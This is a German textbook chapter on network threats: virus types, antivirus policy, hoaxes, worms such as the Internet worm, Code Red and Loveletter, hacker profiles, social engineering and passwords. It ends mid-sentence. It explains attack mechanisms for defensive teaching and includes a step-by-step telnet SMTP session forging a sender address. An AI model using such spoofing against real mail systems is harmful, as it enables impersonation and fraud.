2 Gefahren im Netz
Der Begriff des Computervirus wurde im Jahr 1984 durch den Programmierer Fred
Cohen bei DEC geprägt, der als erster eine Abhandlung zu seiner prinzipiellen
Funktionsweise veröffentlichte:
"We define a computer-'virus' as a program that can 'infect' other programs by modifying
them to include a possibly evolved copy of itself. With the infectionproperty, a virus
can spread throughout a computer system or network using the authorizations of every
user using it to infect their programs. Every program that gets infected may also act
as a virus and thus the infection grows."
Diese Definition entspricht der Verhaltensweise eines sogenannten "Link-Virus", das auf
ausführbaren Programmen arbeitet. Im Laufe der Evolution der Viren stellte sich
jedoch heraus, das eine virenartige Verbreitung von Information auch auf vielerlei
anderen Wegen möglich ist. Man geht heute von ca. 60000 verschiedenen
Virenarten aus, die sich im Umlauf befinden.
Virus-Designer entwickeln laufend neue Techniken und zugleich zirkulieren Entwicklungswerkzeuge, die es Personen ohne Programmierkenntnisse ermöglicht,
Mutationen (strains) zu erzeugen. Viren beschränken sich dabei nicht mehr auf
die "Infektion" ausführbarer Programme, sondern befallen alle Dateien, die
in irgendeiner Weise ausführbare Teile enthalten, also auch Word-Dokumente,
Excel-Tabellen, E-Mails, Webseiten, usw. Es ist deshalb notwendig, die Virengefahr
ernst zu nehmen. Sieht man dies im Zusammenhang mit der Möglichkeit, eigene
Datenträger mitzubringen und sie im LAN des Unternehmens zu verwenden, ist dies
ein weiterer Grund zur Aufmerksamkeit. Es ist deshalb wichtig, eine Antivirus-Politik
zu formulieren. Die Antivirus-Politik des LAN hat primär das Ziel, eine
Vireninfektion zu verhindern, Viren vor dem Ausbruch nachzuweisen sowie Bekämpfung
und Wiederherstellung zu erleichtern, wenn das Unglück schon geschehen ist. Sie
muß aber vor allem die Benutzer für die Gefahr sensibilisieren, so daß
sie beispielsweise nicht auf jedes E-Mail-Attachment klicken (Man isst ja auch nicht
jeden Pilz, den man im Wald findet.).
Bootsektor-Viren
Im ersten Sektor eines Datenträgers steht normalerweise ein Verweis, wo die
Laderoutine für das Betriebssystem zu finden ist. Ein Bootsektor-Virus nistet
sich in diesen Sektor ein, kopiert den ursprünglichen Bootsektor an eine andere
Stelle. Bei einem Bootvorgang wird nun zunächst das Virus aktiviert.
Anschließend wird der kopierte Bootsektor ausgeführt, der dann das
Betriebssystem lädt. Auf diese Weise wird das Virus bei jedem Systemstart
automatisch ausgeführt. Es bleibt resident im Speicher und infiziert jeden
weiteren Bootsektor, den es finden kann. Zur Verbreitung ist es auf bootfähige
Medien wie Disketten angewiesen. Bootsektor-Viren spielen daher heutzutage eine
untergeordnete Rolle.
Link-Viren
Link-Viren verbreiten sich durch infizierte auführbare Programme, in die sich das
Virus eingenistet hat. Beim Infizieren der Datei hängt sich das Virus meist hinter
den ursprünglichen Programmcode an und schreibt vor diesen einen Sprungbefehl auf
sich selbst. Beim Aufruf des modifizierten Programms wird also zunächst der
Sprungbefehl auf den Viruscode vollzogen und dieser Code ausgeführt. Dieser kann
nun seine Verbreitungs- und Schadensfunktion ausführen und startet nach deren
Beendigung das eigentliche Wirtsprogramm.
Speicherresidente Viren
Speicherresidente Viren bleiben nach der Aktivierung als Prozeß im Speicher aktiv.
Sie können sich damit auch nach Beendigung des infizierten Programms ausbreiten oder
Schaden anrichten. Diese Eingenschaft wird meist mit den andern Vireneigenschaften
kombiniert (z.B. bei Bootsektor-Viren, Tarnkappen-Viren).
Tarnkappen-Viren (Stealth-Viren)
Sie verbergen sich im Arbeitsspeicher, im Master-Boot-Record oder im Bootsektor. Sie benutzen unter anderem falsche Meldungen an Antivirusprogramme, um einem Viruscheck zu entgehen. Wenn eine infizierte Datei zur Bearbeitung geöffnet wird, wird sie vom
speicherresidenten Tarnkappen-Virus desinfiziert und dann zur Bearbeitung freigegeben.
Wird die bearbeitete Datei wieder geschlossen, infiziert sie der speicherresidente
Teil wieder. Das Virus verschleiert natürlich auch sein Vorhandensein im
Arbeitsspeicher des Systems.
Polymorphe Viren
Polymorphe Viren verhalten sich wie Link-Viren. Sie verschlüsseln und verändern
aber mit jeder Infektion ihren eigenen Programmcode. Man kann diese Viren daher nur sehr
schwer über eine Signatur erkennen. Dieser Typ gehört zur neueren Generation.
Virusdesigner benutzen verschiedene "mutation engines" zum Generieren solcher Viren.
Makro-Viren
Makro-Viren infizieren und verbreiten sich nicht durch ausführbare Programme,
sondern durch Datendateien wie Dokumente und Tabellen. Sie greifen dabei auf die
umfangreichen Makro-Sprachen von Programmen wie Word oder Excel zurück.
Diese Makro-Sprachen dienen normalerweise zur Automatisierung von Arbeitsabläufen
oder zur Implementierung neuer Funktionen.
Eines der ersten Viren dieses Typs war "Concept", das Word-Dokumente infizierte.
Concept nutzt zur Aktivierung das Makro "AutoOpen", das beim Öffnen eines
Dokuments ausgeführt wird und das Virus selbst startet. Danach infizierte es die
globale Dokumentvorlage "NORMAL.DOT" und installierte weitere Makros wie "FileSaveAs".
Das Infizieren der Dokumentvorlage aktivierte das Virus bei jedem Aufruf von Word, da
immer zuerst die Makros der Dokumentvorlage ausgeführt werden. Das Makro "FileSaveAs"
sogte für die Verbreitung, es kopierte das Virus beim Abspeichern eines Dokuments
mit mit diesem Dokument.
Das Word-Virus "Melissa", das sich zusätzlich durch Outlook-Schnittstelle selbst
per E-Mail verschicken kann ist nur ein Beispiel der Möglichkeiten, die man bei
der Virenentwicklung ausnutzen kann.
Gegenmaßnahmen
Man kann mit verschiedenen Programmen ein System auf Virenbefall prüfen, Viren
entfernen oder eine Infektion verhindern.
- Prüfsummenprogramme
Ein Prüfsummenprogramm generiert in einem ersten Lauf für jede Datei eines
Datenträgers eine Prüfsumme und legt diese in einer Datenbank ab. Nun kann
zu einem beliebigen Zeitpunkt die frühere Prüfsumme aus der Datenbank mit
der aktuell generierten verglichen werden.
Vorteilhaft ist, daß Änderungen sofort erkannt und neue Viren gefunden
werden. Jedoch ändern sich Programme und Daten auch ohne Viren-Einfluß.
Neue Viren sind daher schwer von Fehlalarm zu unterscheiden. Das System muß
bei Prüfsummengenerierung garantiert virenfrei sein.
- Virenscanner
Virenscanner suchen anhand verschiedener Merkmale (Signaturen) nach Viren. Der
Suchvorgang wird entweder manuell ausgelöst oder läuft ständig im
Hintergrund. Auch wird der Arbeitsspeicher überwacht, so daß schon beim
Aufruf eines infizierten Programmes die Virenausführung sofort beendet
werden kann. Virenscanner bringen meist auch Mittel zur Beseitigung der von ihnen
gefunden Viren mit - wobei die Beseitungsroutinen nicht immer zum Erfolg führen
und mitunter das System sogar irreparabel schädigen. Damit ein Virenscanner
die neuesten Viren erkennen kann, bedient er sich einer Datei mit
charakteristischen Merkmalen der Viren. Diese Datei muß ständig aktuell
gehalten werden, da ansonsten eine Erkennung neuer Viren nicht möglich ist.
Bei Virenscan werden zwei Methoden unterschieden:
- Signaturbasierte Suche, mit der sich nicht-polymorphe Viren leicht aufspüren
lassen. Eine charakteristische Byte-Folge aus dem Viruscode wird als Signatur
festgehalten. Mit Hilfe dieser Signatur kann nun nach dem Virus gezielt gesucht werden.
- Heuristische Suche, mit der auch polymorphe Viren entdeckt werden. Dabei bedient
man sich heuristischer Methoden. Diese gehen davon aus, daß jedes Virus eine
gewisse virentypische Struktur aufweisen muß. Man sucht daher nach Befehlsfolgen
und -kombinationen, die ein Virus gewöhnlich aufweist. Aus der Häufigkeit der
gefundenen Merkmale läßt sich eine Wahrscheinlichkeit für eine Infektion
ermitteln. Der Schwellenwert für die Wahrscheinlichkeit legt fest, ob ein Alarm erfolgt.
Dabei kann es vorkommen, daß ein "Bösewicht durchrutscht.
Ein zweckmäßiger Aufbau des lokalen Netzes ist eine Voraussetzung für
einen hohen Grad an Sicherheit vor Virenangriffen. Eine konsequente Trennung von Daten-
und ausführbaren Dateien hat große Bedeutung für die Sicherung vor
Vireninfektionen und -ausbrüchen. Nur der Systemverwalter darf Schreibberechtigungen
für Datenbereiche mit ausführbaren Dateien haben. Der Systemverwalter ist damit
verantwortlich, die Software zu kontrollieren, ehe sie im LAN installiert wird.
Datenbereiche mit Dateien, zu denen viele Benutzer Schreibberechti-gungen haben,
müssen von ausführbaren Dateien freigehalten werden. Das hilft zwar nicht
gegen Makro-Viren in Datendateien, hält jedoch viele Viren fern. Der zweite Vorteil
einer solchen Trennung ist die schnelle Wiederherstellung eines Client- oder Serverrechners. Da sich die Programmbereiche nicht ändern (sollten), kann ein solcher Bereich schnell durch Einspielen eines Backups oder, falls der älteste Backup auch schon verseucht sein sollte, durch Neuinstallation restauriert werden.
Alle Netzlaufwerke werden regelmäßig auf Viren gescannt (mindestens
wöchentlich). Lokale Festplatten werden täglich gescannt. Die Benutzer sind
verpflichtet, Disketten zu scannen, ehe sie in ihren PC eingelesen werden. Alle Benutzer
werden in den Gebrauch von Antiviruspro-grammen eingeführt, und es wird festgelegt,
wann virusähnliche Probleme dem System-verwalter überlassen werden. Es gilt der
Grundsatz "lieber ein Virusverdacht zu viel als einer zu wenig", damit die Benutzer
ermutigt werden, bei einem Versacht sofirt Alarm zu schlagen.
Der Rechner des einzelnen Benutzers stellt einen Zugangsweg zum LAN dar und ist auch
selbst verletzbar. Ein wichtiger Teil der vorbeugenden Arbeit ist die Benutzerdisziplin,
die das Risiko von Vireninfektionen verringert. Programme unbekannter Herkunft und
unbekannter Wirkung dürfen nicht ohne ein Virusscannen ausgeführt werden.
Unbekannte Disketten müssen mit einem Antivirusprogramm kontrolliert werden, ehe
sie ausgeführt oder auf Festplatte kopiert werden. Checken Sie regelmäßig
Festplatten mit aktualisierten Antivirusprogrammen, und verwenden Sie ein residentes
Antivirusprogramm, das den Rechner beim Start checkt.
Trotz ausgedehnter Sicherheitsmaßnahmen können Arbeitsstationen oder das
lokale Netz von Viren angegriffen werden. In dem Ma?ie LAN-Benutzer und -Verantwortliche
sicherheitsbewu?r werden, werden Viren fortschrittlicher. Identifizieren Sie Ursprung
und Art der Infektion. Wenn der Ursprung nicht unmittelbar festgestellt werden kann, ist
es ausreichend, die Art der Infektion festzustellen. Suchen Sie den Schaden im Netz und
identifizieren sie die betroffenen Rechner. Isolieren Sie eventuelle Schäden und
soweit möglich die Quelle der Infektion. Entfernen Sie sofort infizierte Rechner
vom Netz. Nehmen Sie kein Logoff vor, sondern ziehen Sie das Netzwerkkabel ab. Ein
reguläres Logoff kann zur weiteren Verbreitung beitragen. Nur 100% desinfizierte
PCs werden an das Netz angeschlossen. Wenn die Infektion nicht isoliert werden kann,
ist es notwendig, das ganze Netz herunterzufahren, und die Festplatten in den Servern
und Arbeitsstationen mit zwei oder mehr verschiedenen Virusscannern zu scannen. Nachdem
die feindlichen Programme entfernt worden sind, wird ein Restore der verlorenen oder
beschädigten Daten und auch der Boot- und Master-Boot-Sektoren vorgenommen.
Umgang mit Viren-Fehlalarmen - "HOAX"
Virenwarnungen, die die gesamte DV-Branche in Aufruhr versetzen und sich danach in
Wohlgefallen auflösen, sind bereits seit einigen Jahren bekannt. Die
vergeudete Arbeitszeit im Einzelfall kann mehr Schaden anrichten als ein real
existierendes Virus. Im Fachjargon werden solche Fehlwarnungen als HOAX bezeichnet.
Ein Hoax warnt vor großen Schäden bis hin zur totalen Rechnerzerstörung,
und bittet darum, diese Warnung an alle Bekannten weiterzugeben Ein Hoax besitzt keinen
internen Verbreitungsmechanismus. Stattdessen werden menschliche Schwächen für
die Verbreitung ausgenutzt. Über den Lotus-Notes-Verbund oder anderen E-Mail-Anbindungen
werden die vermeintlichen Virenwarnungen verteilt. die Wurzel des Hoaxproblems liegt
darin, daß sich Warnmeldungen häufig schneller als die Viren verbreiten. Zudem ist
der Einsatz eines Hoax wesentlich effektiver ist als die Programmierung eines realen Virus,
da der Hoax von Virensuchprogrammen nicht erkannt wird und die Gutgläubigkeit und
Sorglosigkeit der Nutzer zur Weiterverbreitung nutzt. Zur Herstellung wird statt
tiefergehender Systemkenntnisse nur ein quasitechnisches Wissen benötigt. Der Kreis
der Personen, die einen Hoax erzeugen können, ist damit wesentlich größer
als der Kreis potentieller Virenprogrammierer.
Mit der Verteilung des Hoax beginnt eine Kettenreaktion, die häufig durch zwei
Entwicklungen gekennzeichnet ist. Gutmeinende Nutzer fügen eigene Warnungen hinzu,
andere nicht so gutmeinende Nutzer erweitern die beschriebene Gefahr noch durch selbst
erdachte Szenarien. Somit unterliegen die Benachrichtigungen, die einen Hoax charakterisieren
Änderungen. Daher kann ein Hoax in verschiedenen Variationen existieren und so mehr
als einmal durch ein Netz rollen. So gab es zum Beispiel im Jahr 1996 die Warnung vor
einem angeblichen "Penal"-Virus. Für einen aufmerksamen Beobachter der Szene war
klar, daß diese Warnung identisch war mit einer früheren, die vor dem nicht
existenten "Penpal"-Virus warnte. Nachdem also auf irgendeine Art und Weise das "p"
entfernt wurde, suchte sich auch diese Hoax-Variation ihren Weg durch das Internet.
Oft sind auch genaue Anweisungen in den Warnungen enthalten, wie man das Virusprogramm
beseitigen kann, beispielsweise durch Löschen einer bestimmten Daten. Der
gutgläubige Benutzer, der dieser Anweisung folgt, schädigt erst dadurch sein
System und macht es gegebenenfalls unbenutzbar.
Wenn man die Hoax-Nachrichten der letzten Jahre betrachtet, lassen sich gemeinsame
Faktoren erkennen. Normalerweise besteht ein Hoax aus einer Kombination der folgenden
Faktoren:
- Gewarnt wird vor Viren und Trojanischen Pferden, die mittels E-Mail über das
Internet versandt wurden.
- Üblicherweise stammt die E-Mail von einer Person, manchmal von einem Unternehmen,
niemals jedoch von einer Behörde.
- Die Nachricht warnt vor dem Lesen oder "Downloaden" des Virus und verspricht Rettung
beim Löschen der den Virus enthaltenden Nachricht.
- Die beschriebene schadensstiftende Software soll unvergleichbar zerstörerische
Wirkung, quasi "gottgleiche" Macht ausüben können. Ihr wird häufig die
Fähigkeit zugeschrieben, sich über E-Mail selbständig weiterzuverbreiten.
Die beschriebene schadensstiftende Wirkung ist in der Regel weit von dem entfernt, was
technisch heute möglich ist.
- Im Verlauf der Nachricht wird der Leser mehrmals aufgefordert, jede Person im
Bekanntenkreis via E-Mail zu warnen.
- Der Hoax gibt sich unter Bezugnahme auf irgendeine anerkannte öffentliche
Institution den Anschein der Seriosität. Meistens wird die schadensstiftende
Software von der Institution als "bad" oder "worried" bezeichnet.
- Die gesamte Nachricht ist in einem technischen Sprachjargon verfaßt.
Wenn eine Nachricht als Hoax erkannt wird, sollten folgende Schritte unternommen
werden:
- Leiten sie die Nachricht nicht weiter, um zumindest an dieser Stelle die Wanderschaft
des Hoax zu unterbrechen.
- Unterrichten sie den Sender der Nachricht über die wahre Natur der von ihm
versandten E-Mail.
- Übermitteln sie ihm Informationen über den Aufbau und die Wirkungsweise
eines Hoax. Auf diese Art und Weise kann er in Zukunft ebenfalls einen zugesandten
Hoax erkennen.
- Sollten sie sich nicht sicher sein, ob eine Nachricht ein Hoax ist,
überprüfen sie auf Datenbanken von Anti-Virus-Unternehmen oder über
anerkannte Institutionen oder Fachliteratur, ob dieses Virus dort bekannt ist oder
www.hoax-info.de).
Computer-Würmer sind Programme, die sich selbst über ein Rechnernetzwerk
verbreiten könnn. Es gibt sie in verschiedenen Ausprägungen, beispielsweise
solche, die auf Netzwerk-Prozessen basieren oder Würmer, die sich selbst per
E-Mail verschicken können (I-love-you, Goner, Sircam oder Nimda). Es lassen sich
grob zwei Gruppen unterscheiden:
- Prozeß-Würmer
Ein Computer-Wurm setzt sich aus einer Anzahl von Prozessen, den Wurm-Segmenten,
zusammen. Diese sind auf die Rechner eines Netzwerks verteilt und haben die
Möglichkeit, gemeinsam bestimmte Leistungen zu erbringen:
"Ein Wurm-Segment ist ein eigenständiger Prozeß, der die Fähigkeit
besitzt, eine eventuell modifizierte Abbildung von sich selbst über das Netzwerk
auf einen anderen Rechner zu übertragen und dort zu aktivieren. Die erzeugten
Abbildungen müssen diese Eigenschaft ebenfalls besitzen. Das Verhalten aller
zugehörigen Segmente bestimmt das Verhalten eines Computer-Wurms. Die Ausbreitung
der Wurm-Segmente erfolgt im Gegensatz zu einem Computer-Virus ohne eine Infektion von
Dateien." (Klaus-Peter Kossakowski)
Ein Prozess-Wurm ist also nur im Arbeitspeicher der infizierten Rechner vorhanden.
Dies ähnelt sehr einem Rechencluster und es gab dazu auch Versuche, mit Würmern
ein verteiltes Rechnen zu realisieren.
Der "Internet-Wurm" war einer der ersten Verteter seiner Art. Er ist ein reiner
Prozess-Wurm, der versucht, auf anderen Rechnern ein Shell-Script zu starten, das dann
seinerseits versucht, andere Rechner zu infizieren. Der Wurm nutzt verschiedene
Sicherheitslücken aus, die im Folgenden beschrieben werden:
- Entwickleroption in Sendmail: Manche Versionen des Sendmail-Dämons waren mit
einer Debug-Option übersetzt worden, die für Entwickler gedacht war. Diese
Option erlaubte die Interpretation einer über E-Mail empfangenen Nachricht als
Befehl. Damit konnte per E-Mail eine Shell auf den Betroffenen Rechnern
gestartet werden.
- Im Finger-Dämon wurde ein Buffer-Overflow einer Funktion der
Standard-C-Bibliothek ausgenutzt. Die Funktion übernimmt beim Aufruf
einen Kommandozeile-Parameter dessen Länge nicht überprüft wird.
Schickt man nun eine sehr lange Zeichenkette als Parameter an den Finger-Dämon,
so wird über den Speicherplatz, der für die Speicherung des Parameters
vorgesehen ist, hinausgeschrieben und der Prozeß selbst verändert. Dies
ermöglichte es, eine Shell mit den Rechten des Finger-Dämons zu startet.
- Ausnutzung von RSH: Es gibt bei RSH eine Option, die es erlaubt, vertrauenswürdige
Rechner anzugeben (Eintrag in der ".rhosts"-Datei), bei denen dann die Abfrage des
Passworts entfällt. So konnte der Wurm weitere Rechner befallen.
- Bei dem neu befallen System wurde ein Paßwort-Cracker eingesetzt, um weitere
Accounts mit ".rhosts"-Einträgen zu knacken. Mit dem erratenen Passwort kann
der Wurm nun in andere Rechner eindringen (siehe auch
Kapitel 2.
Ein neueres Beispiel ist der "Code-Red"-Wurm, der sich über einen Buffer-Overflow im
HTTP-Server IIS von Microsoft verbreitet. Der Wurm schlug genau einen Monat nach
Bekanntwerden des Fehlers zu und infizierte innerhalb 24 Stunden mehrere hunderttausend
Rechner. Der Wurm öffnet eine TCP/IP Verbindung auf dem HTTP-Port 80 und nistet
sich mit Hilfe des Buffer-Overflows im Speicher des Servers ein. Von dort aus versucht
er weitere Server zu infizieren. Zwischen 20 und 24 Uhr GMT veranlaßt er
außerdem, dass alle infizierten Rechner einen DDoS-Angriff auf die Webseite des
weißen Hauses führen.
- E-Mail-Würmer
Sie sind in der Lage, sich selbst über ein Netzwerk zu verschicken. Das
Vorhandensein dieser Funktion grenzt sie von den Viren ab. Anders als die
Prozeß-Würmer infizieren die E-Mail-Würmer auch Dateien.
Der Loveletter ("I Love You" - so genannt wegen des E-Mail-Betreffs) ist ein
Visual-Basic-Script (.vbs) und verschickt sich als Attachment in einer E-Mail. Das
das Attachment trägt den Namen "LOVE-LETTER-FOR-YOU.TXT.vbs". Das Betriebsystem
Wondows hat die üble Eigenart, Bei Dateien bekannte, registrierte Endungen
(".vbs", ".exe" ".doc", ".xls", usw.) per Voreinstellung auszublenden. Der User
sieht somit nur ein Attachment namens "LOVE-LETTER-FOR-YOU.TXT", das unverdächtig
wirkt. Da aber Attachments mit der Endung ".vbs" mit dem VBS-Interpreter verknüpft
sind, wird das Attachment beim Anklicken sofort ausgeführt. Einmal aktiviert,
nimmt das Virus verschiedene Veränderungen am System vor. Zunächst sorgt es
dafür, daß es bei jedem Systemstart aufgerufen wird. In einem zweiten Schritt
manipuliert es die Startseite des Internet Explorers, so daß das Trojaner-Programm
"BUGSFIX.EXE" heruntergeladen und ausgeführt wird. Dieses dient dazu, Passwörter
auszuspionieren und an den Empfänger "mailme@super.net.ph" zu senden.
Zur Verbreitung benutzt der Wurm den IRC-Client "mIRC" und den Mailer "Outlook".
Das Programm "mIRC" wird so umkonfiguriert, daß der Wurm automatisch an andere
Nutzer versandt wird. Mit Hilfe von Outlook versendet sich der Wurm an alle Einträge
des Adressbuches. Als weitere Schadensfunktion schreibt sich der Wurm über alle
Dateien Endungen "jpg", "jpeg", "mp3", "mp2", "js", "jse", "css", "wsh", "sct",
"hta", "vbs" und "vbe", an die er ein ".vbs" anhängt. Die ersten Nachfolger
des Loveletter-Wurms waren einfache Modifikationen, spätere Varianten hatten
Erweiterungen, z. B. ein eigener SMTP-Mailer, der der Weiterversand auch ohne
Outlook ermöglicht.
Wer wissen will, wie intelligent E-Mail-Viren heute sind, der kann sich die
vier Artikel bei Heise Security durchlesen. Sie sind nicht nur echt witzig
geschrieben, sondern auch echt interessant:
http://www.heise.de/security/artikel/59611
Gegenmaßnahmen
Würmer nutzen normalerweise mehrere bekannte Schwachstellen in Kombination aus.
Sobald Schwachstellen bekannt sind und auf einschlägigen Mailinglisten oder Websites
der bekannten CERTs auftauchen, muss umgehend gehandelt und diese beseitigt werden.
Unnötige Systemdienste, die allgemein wenig benutzt werden und daher tendenziell mehr
Fehler enthalten können, sollte man deaktivieren. Intrusion-Detection-Systeme (IDS)
können gegen verdächtiges Verhalten von Prozeß-Würmern helfen.
Gerade gegen E-Mail Würmer gibt es mehrere wirksame Mittel. Zum einen kann
man, sofern man darauf nicht angewiesen ist, das jeweilige Makro-System, auf dem der
Wurm basiert deaktivieren. Ein Filtersystem, welches eingehende E-Mail auf verdächtige
Anhänge überprüft und natürlich ständig auf dem neuesten Stand
gehalten werden muß, kann das Unheil schon im Vorfeld verhindern.
Oft hilft auch gesunder Menschenverstand. Wenn man zum Beispiel von einem bekannten
E-Mail Kontakt plötzlich in einer fremden Sprache und mit seltsamem Betreff
angeschrieben wird, ist es sicher nicht verkehrt, die E-Mail mit einer gewissen Vorsicht
handzuhaben.
Kapitel 2
behandelt und auf Gefahren, die speziell die Anwenderseite betreffen, wird in
Kapitel 7 eingegangen.
2.3 Hacker und Cracker
Wie kann jemand in den Rechner eindringen? Um in einen fremden Rechner einzudringen
gibt es etliche Möglichkeiten. Einige davon sollen in den folgenden Abschnitten
zur Sprache kommen. Wie schon erwähnt, kommen Eindringlinge von innen wie von
außen. Die Gefahren für offene EDV-Systeme können mit einem Wort, 'hacking'
und 'Hacker' ausgedrückt werden.
Hacker sind vor allem durch die technische und intellektuelle Herausforderung
motiviert. Es ist sehr selten die Rede von rationell kriminellem Verhalten, da
Risiko und Anforderungen an Ressourcen (Zeit, Ausrüstung, Anzahl der Teilnehmer)
den Umfang der greifbaren Ausbeute übersteigt. In amerikanischer Terminologie wird
mit folgenden Hackerprofilen gearbeitet, die ein besseres Bild davon geben, welche
Motive hinter der Hackeraktivität liegen.
- The Trainspotter
ist ein Hacker, der besessen ist, zu so vielen System wie möglich
Zugang zu erlangen, und der nach einem geglückten Hack selten zurückkehrt.
- Kilroy
(was here) ist der Hackertyp, der es vorzieht, ein klares Zeichen zu
hinterlassen, daß der Betreffende zu Besuch im System gewesen ist.
Gebrauchsdiebstahl ist das Ziel seines Eindringens
in die Systeme.
- The Spy
(Spion) ist ein Hacker, der auf der Jagd nach geheimer Information
ist. Eventuell hat er dabei einem Weiterverkauf vor Augen.
- The Fixer
hat das Ziel, Daten zu modifizieren, z. B. Noten, ökonomische Daten,
Telefonrechnungen, Personalinformationen, etc.
- The Vandal (Cracker)
(Vandale) hat, wie die Bezeichnung andeutet, das Ziel, im System
so viel Schaden wie möglich anzurichten.
Gefährliche Hacks sind durch folgende Schritte gekennzeichnet:
- Erlangung des Zugangs zum System
- Etablieren eines Supervisor- oder Superuser-Status
- Einrichtung einer Hintertür zum System (trapdoor)
- Löschen aller Spuren
Das Ziel ist ganz einfach, Zugang zum System und genügend Kontrolle zu erlangen,
um eine Hintertür einrichten zu können. Die Hintertür soll später
einen ungehinderten Zugang ermöglichen, um das betreffende System als Sprungbrett
in andere zu benutzen. Je effektiver die Spuren gelöscht werden, desto schwieriger
ist es, den Hack aufzudecken und passende Gegenmaßnahmen zu ergreifen.
2.4 Schadensformen im Netz
Allgemeine Schädigung durch Eindringlinge
- Die Hacker können Zugang zu vertraulichen Daten erlangen, Daten und Programme
stehlen oder löschen.
- Hacker belegen Systemressourcen, was zu Betriebsstörungen führen
kann. Gebrauchsdiebstahl, z. B. kostenlose Kommunikation über das Firmennetz
kommt auch vor.
- Durch Zurücklassen von Viren, Trojanischen Pferden oder Programmen
mit logischen Bomben kann der Eindringling Sabotage verüben.
- Möglicherweise läßt er aber nur eine trap door zurück
und begnügt sich mit der Inanspruchnahme von Plattenplatz und Rechnerleistung.
Auch das kann unangenehm werden, wenn jemand Ihren WWW-Server als Depot für
Pornobilder verwendet.
- Lahmlegen (denial-of-service) oder "Ausblenden" (Hijacking) eines oder
mehrerer Rechner. Die Server sind nicht mehr erreichbar, ein anderes System
liefert stattdessen Falschinformation oder sammelt Daten.
- Aufdeckung von Hackereinbrüchen führt zu einem schlechten Ruf
und zu Mißtrauen zum System und zur Organisation.
Aber auch ohne in den Server einzudringen, kann jemand Ihnen im Internet
Schäden zufügen.
Allgemeine Schädigung im Internet
- Gefälschte E-Mail (z. B. bei Bestellungen)
Sowohl die Informationen im Kopf der E-Mail-Nachricht als auch der eigentliche
Text werden im Klartext vom Sender zum Empfänger transportiert. Jeder
mit ausreichenden Zugriffsrechten auf einem Durchgangssystem könnte
die Post mitlesen oder verfälschen. Die einzige befriedigende Lösung
besteht darin, zumindest den Text zu chiffrieren.
Ein anderes Problem der Sicherheit von E-Mail besteht in der Möglichkeit,
einen Brief zu fälschen. Da in der Regel das 'From:'-Feld Aufschluß
über den Absender gibt, kann nur die Abschätzung der Wahrscheinlichkeit
helfen zu beurteilen, ob ein Brief von president@whitehouse.gov tatsächlich
vom amerikanischen Präsidenten stammt. Auch in diesem Fall verschafft
Verschlüsselung ansatzweise Abhilfe, indem die Briefe mit einer digitalen
Signatur versehen werden können.
Ohne weitere Maßnahmen findet bei Mailsystemen keine Überprüfung
der Absenderadressen statt. Damit kann diese Angabe beliebig gefälscht werden.
Beispiel(Eingaben fett)
telnet victim smtp
Trying 192.168.253.250...
Connected to 192.168.253.250.
Escape character is '^]'.
220 victim.goodguys.de ESMTP Sendmail 8.8.8/8.8.8; Thu, 14 Oct 1999 15:06:52 +0200
mail from: god@heaven.org
250 god@heaven.org... Sender ok
rcpt to:deneme
250 deneme... Recipient ok
data
354 Enter mail, end with "." on a line by itself
Betr.: Ihre Anfrage wg Einlass in den Himmel!
Es tut uns leid, aber wir koennen Sie als Systemadministrator
nicht bei uns aufnehmen und haben Ihre Anfrage an unser Tochterunternehmen
www.hell.org weitergeleitet.
Mit freundlichen Gruessen,
i. V. Petrus
.
250 PAA00111 Message accepted for delivery
quit
221 victim.goodguys.de closing connection
Connection closed by foreign host.
- Gefälschte Newsbeiträge
Auf die gleiche Art und Weise kann sich jemand in den Newsgruppen, den schwarzen
Brettern des Internet (genauer des USENET), als Angehöriger Ihres Unternehmens
ausgeben und durch entsprechende Veröffentlichungen den Ruf der Firma
empfindlich schädigen.
Beispiel: Es postet jemand berichte über das gehäufte Auftreten von
Salmonellen bei McDonalds.
- Abhören von Daten
Wie schon mehrfach erwähnt, besteht im Internet auch generell die Möglichkeit,
Daten auf dem Weg durchs Netz abzuhören oder sie abzufangen und verändert
weiterzugeben. Loginnamen und Passwörter werden oft im Klartext übertragen.
Mehr dazu weiter unten.
- Gaunereien
Kettenbriefe, Schneeballsysteme, Verkauf von Diebesgut, Angebot nicht existierender Waren,
usw. gibt es natürlich auch im Internet.
2.5 Paßwort raten, 'social engineering'
Die größte Sicherheitslücke ist nach wie vor der Benutzer
selbst. Paßwörter werden aufgeschrieben (klassisches Beispiel:
der Zettel, der unter der Tastatur klebt) oder sie sind aus dem persönlichen
Umfeld entnommen (Vornamen von Frau, Mann, Kindern, Hund, die eigene Telefonnummer,
die Automarke usw.). Selbst das Paßwort 'geheim' wird immer noch angetroffen.
Auch 'Joshua' aus dem Film 'War Games' war eine Zeit sehr beliebt. Übertroffen
wird das nur noch von '1234567' oder 'qwertz'. Wer sich ein kompliziertes
Paßwort nicht merken kann, sollte es mit den Anfangsbuchstaben eines
Merksatzes versuchen. So ergibt z. B. 'Fest gemauert in der Erden steht
die Form aus Lehm gebrannt' (Schiller: Lied der Glocke) das Paßwort
'FgidEsdFaLg'. Es gibt übrigens Paßwort-Knackprogramme, die einfach
und brutal das Rechtschreibwörterbuch, Namenslisten usw. verwenden,
um Paßwörter durch Probieren herauszufinden.
Es gibt immer noch Benutzer, die ihr Paßwort freiwillig preisgeben.
Grundsätzlich gilt, daß weder der Systemadministrator noch irgend jemand
sonst in der Firma oder beim Provider jemals Ihr Paßwort wissen müssen.
Also cool bleiben, selbst wenn der Anrufer den Untergang aller Daten prophezeit,
wenn er nicht sofort das Passwort erfährt.
Es geht aber aus in der Gegenrichtung. Der Systemverwalter bekommt am Montag im
Morgengrauen einen Anruf: "Hier ist Direktor Rübenkürzer. Ich komme nicht
mehr ins System. Sie müsssen sofort mein Passwort auf 'Whiskas' setzen!". Der
Sysadmin stottert "Jawoll!" und tut wie befohlen. Drei Wochen später kommt
Rübenkürzer aus dem Urlaub und findet unter seinen Account eine
Pornobildersammlung vor.
2.6 Sicherheitslücken des Betriebssystems
Bis auf wenige Ausnahmen (z. B. FTP-Server, WWW-Server) sind bei PCs unter
DOS, Windows 3.1x oder OS/2 keine Maßnahmen zur Sicherheit notwendig,
da an PCs in der Regel keine Anwendungen gestartet sind, die Kontaktaufnahme
von außen akzeptieren. Denn nur dann hat ein Eindringling eine
Angriffsmöglichkeit.
Problematischer sind hier schon Unix, Novell Netware, Windows 95, 98, ME oder Windows
NT, da hier prinzipiell Zugriff von außen möglich ist, wenn eigene Netzdienste
angeboten werden, z. B. die Freigabe der Platte über NFS oder auch
Fax-, Modem- oder Druckerserverprogramme. Bei der Wahl eines Serverbetriebssystems
sollten daher Sicherheitsaspekte im Vordergrund stehen und nicht die (scheinbar)
